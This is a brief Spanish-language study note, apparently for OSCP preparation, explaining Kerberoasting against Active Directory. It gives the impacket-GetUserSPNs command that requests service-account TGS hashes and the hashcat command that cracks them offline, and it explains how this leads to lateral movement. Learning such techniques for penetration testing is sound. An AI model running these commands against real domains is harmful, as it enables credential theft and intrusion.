# Kerberoasting

> Pides el **TGS** de cuentas de servicio (las que tienen **SPN**) y crackeas su hash offline. Uno de los 7 caminos de Active Directory.

## Requisito
Cualquier credencial **válida** de dominio (un user cualquiera).

## Ataque
```bash
impacket-GetUserSPNs dominio/usuario:password -dc-ip IP -request
# → te devuelve hashes TGS (Kerberos 5 TGS-REP, $krb5tgs$)
```

## Crackeo offline
```bash
hashcat -m 13100 hashes.txt rockyou.txt
```

## Por qué funciona
El TGS va cifrado con el hash de la cuenta de servicio (Kerberos). Si su password es débil → crackeo → credencial nueva → Movimiento lateral.

Relacionado: Cracking de contraseñas · AS-REP Roasting · Impacket · BloodHound · OSCP MOC